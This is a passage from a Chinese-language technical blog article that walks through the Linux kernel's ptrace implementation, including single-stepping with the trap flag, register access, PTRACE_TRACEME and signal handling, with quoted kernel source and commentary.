EFL_OFFSET) &amp; ~TRAP_FLAG;<br/>        put_stack_long(child, EFL_OFFSET, tmp);<br/>        wake_up_process(child);<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*设置单步运行很简单只需将eflags的Trap Flag置1即可*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_SINGLESTEP: {  <span style="color: rgb(92, 99, 112);font-style: italic;">/* set the trap flag. */</span><br/>        <span style="color: rgb(209, 154, 102);">long</span> tmp;<br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ((<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span>) data &gt; _NSIG)<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        child-&gt;ptrace &amp;= ~PT_TRACESYS;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ((child-&gt;ptrace &amp; PT_DTRACE) == <span style="color: rgb(209, 154, 102);">0</span>) {<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">/* Spurious delayed TF traps may occur */</span><br/>            child-&gt;ptrace |= PT_DTRACE;<br/>        }<br/>        tmp = get_stack_long(child, EFL_OFFSET) | TRAP_FLAG; <span style="color: rgb(92, 99, 112);font-style: italic;">//Trap Flag置1</span><br/>        put_stack_long(child, EFL_OFFSET, tmp);<br/>        child-&gt;exit_code = data;<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* give it a chance to run. */</span><br/>        wake_up_process(child);<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_DETACH:<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* detach a process that was attached. */</span><br/>        ret = ptrace_detach(child, data);<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*读取所有通用寄存器值*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_GETREGS: { <span style="color: rgb(92, 99, 112);font-style: italic;">/* Get all gp regs from the child. */</span><br/>       <span style="color: rgb(198, 120, 221);">if</span> (!access_ok(VERIFY_WRITE, (<span style="color: rgb(209, 154, 102);">unsigned</span> *)data, FRAME_SIZE*<span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>))) {<br/>            ret = -EIO;<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        }<br/>        <span style="color: rgb(198, 120, 221);">for</span> ( i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; FRAME_SIZE*<span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>); i += <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>) ) {<br/>            __put_user(getreg(child, i),(<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> *) data);<br/>            data += <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>);<br/>        }<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*设置所有通用寄存器值*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_SETREGS: { <span style="color: rgb(92, 99, 112);font-style: italic;">/* Set all gp regs in the child. */</span><br/>        <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> tmp;<br/>       <span style="color: rgb(198, 120, 221);">if</span> (!access_ok(VERIFY_READ, (<span style="color: rgb(209, 154, 102);">unsigned</span> *)data, FRAME_SIZE*<span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>))) {<br/>            ret = -EIO;<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        }<br/>        <span style="color: rgb(198, 120, 221);">for</span> ( i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; FRAME_SIZE*<span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>); i += <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>) ) {<br/>            __get_user(tmp, (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> *) data);<br/>            putreg(child, i, tmp);<br/>            data += <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(209, 154, 102);">long</span>);<br/>        }<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*获取浮点寄存器值*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_GETFPREGS: { <span style="color: rgb(92, 99, 112);font-style: italic;">/* Get the child FPU state. */</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> (!access_ok(VERIFY_WRITE, (<span style="color: rgb(209, 154, 102);">unsigned</span> *)data,<br/>                   <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(198, 120, 221);">struct</span> user_i387_struct))) {<br/>            ret = -EIO;<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        }<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ( !child-&gt;used_math ) {<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">/* Simulate an empty FPU. */</span><br/>            set_fpu_cwd(child, <span style="color: rgb(209, 154, 102);">0x037f</span>);<br/>            set_fpu_swd(child, <span style="color: rgb(209, 154, 102);">0x0000</span>);<br/>            set_fpu_twd(child, <span style="color: rgb(209, 154, 102);">0xffff</span>);<br/>        }<br/>        get_fpregs((<span style="color: rgb(198, 120, 221);">struct</span> user_i387_struct *)data, child);<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*设置浮点寄存器值*/</span><br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_SETFPREGS: { <span style="color: rgb(92, 99, 112);font-style: italic;">/* Set the child FPU state. */</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> (!access_ok(VERIFY_READ, (<span style="color: rgb(209, 154, 102);">unsigned</span> *)data,<br/>                   <span style="color: rgb(198, 120, 221);">sizeof</span>(<span style="color: rgb(198, 120, 221);">struct</span> user_i387_struct))) {<br/>            ret = -EIO;<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        }<br/>        child-&gt;used_math = <span style="color: rgb(209, 154, 102);">1</span>;<br/>        set_fpregs(child, (<span style="color: rgb(198, 120, 221);">struct</span> user_i387_struct *)data);<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_GETFPXREGS: { <span style="color: rgb(92, 99, 112);font-style: italic;">/* Get the child extended FPU state. */</span><br/>        ...<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_SETFPXREGS: { <span style="color: rgb(92, 99, 112);font-style: italic;">/* Set the child extended FPU state. */</span><br/>        ...<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">case</span> PTRACE_SETOPTIONS: {<br/>        <span style="color: rgb(198, 120, 221);">if</span> (data &amp; PTRACE_O_TRACESYSGOOD)<br/>            child-&gt;ptrace |= PT_TRACESYSGOOD;<br/>        <span style="color: rgb(198, 120, 221);">else</span><br/>            child-&gt;ptrace &amp;= ~PT_TRACESYSGOOD;<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">default</span>:<br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>out_tsk:<br/>    free_task_struct(child);<br/>out:<br/>    unlock_kernel();<br/>    <span style="color: rgb(198, 120, 221);">return</span> ret;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">注意这个函数<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">get_stack_long(proccess, offset)</code>：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/> * this routine will get a word off of the processes privileged stack. <br/> * the offset is how far from the base addr as stored in the TSS.  <br/> * this routine assumes that all the privileged stacks are in our<br/> * data space.<br/> */</span>   <br/><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(198, 120, 221);">inline</span> <span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">get_stack_long</span>(<span style="color: rgb(198, 120, 221);">struct</span> task_struct *task, <span style="color: rgb(209, 154, 102);">int</span> offset)<br/>{<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span> *<span style="color: rgb(230, 192, 123);">stack</span>;<br/>    <span style="color: rgb(230, 192, 123);">stack</span> = (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span> *)task-&gt;thread.esp0;<br/>    <span style="color: rgb(230, 192, 123);">stack</span> += offset;<br/>    <span style="color: rgb(198, 120, 221);">return</span> (*((<span style="color: rgb(209, 154, 102);">int</span> *)<span style="color: rgb(230, 192, 123);">stack</span>));<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中task-&gt;thread.esp0是堆栈指针，通用的寄存器在堆栈中按顺序排放，通过偏移量0ffset便可以依次读取。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">PTRACE_TRACEME</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  当要调试一个进程时需要其进入被追踪状态(traced)，有两种方法进入该状态：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 被调试进程<strong style="line-height: 1.75;color: rgb(255, 118, 118);">主动</strong>调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace(PTRACE_TRACEME, ...)</code>进入traced状态</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 调试进程调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace(PTRACE_ATTACH, pid, ...)</code>来使指定进程进入</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">总之被调试进程必须进入traced状态才能进行调试，因为Linux会对处于traced状态的进程进行特殊操作。以第一种方式来说明：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">if</span> (request == PTRACE_TRACEME) {<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* are we already being traced? */</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> (current-&gt;ptrace &amp; PT_PTRACED)<br/>            <span style="color: rgb(198, 120, 221);">goto</span> out;<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* set the ptrace bit in the process flags. */</span><br/>        current-&gt;ptrace |= PT_PTRACED;<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">goto</span> out;<br/>    }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">只是将当前进程标记为<strong style="line-height: 1.75;color: rgb(255, 118, 118);">PT_PTRACED</strong>状态，但是如果该进程接下来进行<strong style="line-height: 1.75;color: rgb(255, 118, 118);">execve</strong>系统调用去执行一个外部程序时会<strong style="line-height: 1.75;color: rgb(255, 118, 118);">暂停当前进程</strong>，并且发送<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SIGCHLD</strong>信号给<strong style="line-height: 1.75;color: rgb(255, 118, 118);">父进程</strong>，父进程接收到该信号时就可以对被调试进程进行调试。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">sys_execve() -&gt; do_execve() -&gt; load_elf_binary()：</strong></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">load_elf_binary</span>(<span style="color: rgb(198, 120, 221);">struct</span> linux_binprm * bprm, <span style="color: rgb(198, 120, 221);">struct</span> pt_regs * regs)<br/>{<br/>    ...<br/>    <span style="color: rgb(198, 120, 221);">if</span> (current-&gt;ptrace &amp; PT_PTRACED)<br/>        send_sig(SIGTRAP, current, <span style="color: rgb(209, 154, 102);">0</span>);<br/>    ...<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对于处于traced状态的进程执行<strong style="line-height: 1.75;color: rgb(255, 118, 118);">execve</strong>系统调用时会发送一个<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SIGTRAP给当前进程</strong>。这个信号将在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">do_signal</code>函数处理：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">do_signal</span>(<span style="color: rgb(198, 120, 221);">struct</span> pt_regs *regs, <span style="color: rgb(209, 154, 102);">sigset_t</span> *oldset) <br/>{<br/>    <span style="color: rgb(198, 120, 221);">for</span> (;;) {<br/>        <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> signr;<br/>        spin_lock_irq(&amp;current-&gt;sigmask_lock);<br/>        signr = dequeue_signal(&amp;current-&gt;blocked, &amp;info);<br/>        spin_unlock_irq(&amp;current-&gt;sigmask_lock);<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">// 如果进程被标记为 PTRACE 状态</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> ((current-&gt;ptrace &amp; PT_PTRACED) &amp;&amp; signr != SIGKILL) { <span style="color: rgb(92, 99, 112);font-style: italic;">//除了SIGKILL信号，都将让tracee停止并通知tracer</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">/* 让调试器运行  */</span><br/>            current-&gt;exit_code = signr;<br/>            current-&gt;state = TASK_STOPPED;   <span style="color: rgb(92, 99, 112);font-style: italic;">// 让自己进入停止运行状态</span><br/>            notify_parent(current, SIGCHLD); <span style="color: rgb(92, 99, 112);font-style: italic;">// 发送 SIGCHLD 信号给父进程表示子进程&#34;死亡(被替换)&#34;</span><br/>            schedule();                      <span style="color: rgb(92, 99, 112);font-style: italic;">// 让出CPU的执行权限</span><br/>            ...<br/>        }<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以调试器使用这种方式调试某个程序时大致例程为：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4358974358974359" data-s="300,640" style="" data-type="png" data-w="897" src="https://wechat2rss.xlab.app/img-proxy/?k=83c35a44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkaKns4LWooxTNiabTOgobYcsAX4joOE1kKGBVxrsibqBL7AzGZIeHQA3eLD7HfULPjO7Plh80knJnUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">当父进程（调试进程）接收到 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SIGCHLD</code> 信号后，表示被调试进程已经标记为<strong style="line-height: 1.75;color: rgb(255, 118, 118);">被追踪状态并且停止运行</strong>，那么调试进程就可以开始进行调试了。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">PTRACE_SINGLESTEP</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  单步运行是最为常用的，当把tracee设置为单步运行模式时，tracee每执行一条指令CPU都会停止然后向父进程发送一个<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SIGCHLD</strong>信号，在ptrace中实现是将eflags设置trap_flag标志位：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">case</span> PTRACE_SINGLESTEP: {  <span style="color: rgb(92, 99, 112);font-style: italic;">/* set the trap flag. */</span><br/>        <span style="color: rgb(209, 154, 102);">long</span> tmp;<br/>        ret = -EIO;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ((<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span>) data &gt; _NSIG)<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        child-&gt;ptrace &amp;= ~PT_TRACESYS;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ((child-&gt;ptrace &amp; PT_DTRACE) == <span style="color: rgb(209, 154, 102);">0</span>) {<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">/* Spurious delayed TF traps may occur */</span><br/>            child-&gt;ptrace |= PT_DTRACE;<br/>        }<br/>        tmp = get_stack_long(child, EFL_OFFSET) | TRAP_FLAG;<br/>        put_stack_long(child, EFL_OFFSET, tmp);<br/>        child-&gt;exit_code = data;<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* give it a chance to run. */</span><br/>        wake_up_process(child);<br/>        ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">能够这样做是基于X86 intel CPU提供一个硬件机制，就是当eflags的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Trap Flag</code>置为1时，CPU每执行一条指令都会产生一个异常然后Linux异常处理机制进程处理，由此会发送一个<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SIGTRAP</strong>信号给<strong style="line-height: 1.75;color: rgb(255, 118, 118);">tracee</strong>；核心是：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">tmp = get_stack_long(child, EFL_OFFSET) | TRAP_FLAG;<br/>put_stack_long(child, EFL_OFFSET, tmp);</code></pre><ol style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 获取进程的 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">eflags</code> 寄存器的值，并且设置 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Trap Flag</code> 标志。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 把新的值设置到进程的 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">eflags</code> 寄存器中。</p></li></ol><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">设置完寄存器后唤醒(wake_up_process)进程，让其进入运行状态：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.4358974358974359" title="null" data-type="png" data-w="897" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=83c35a44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkaKns4LWooxTNiabTOgobYcsAX4joOE1kKGBVxrsibqBL7AzGZIeHQA3eLD7HfULPjO7Plh80knJnUQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20230129132429982</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 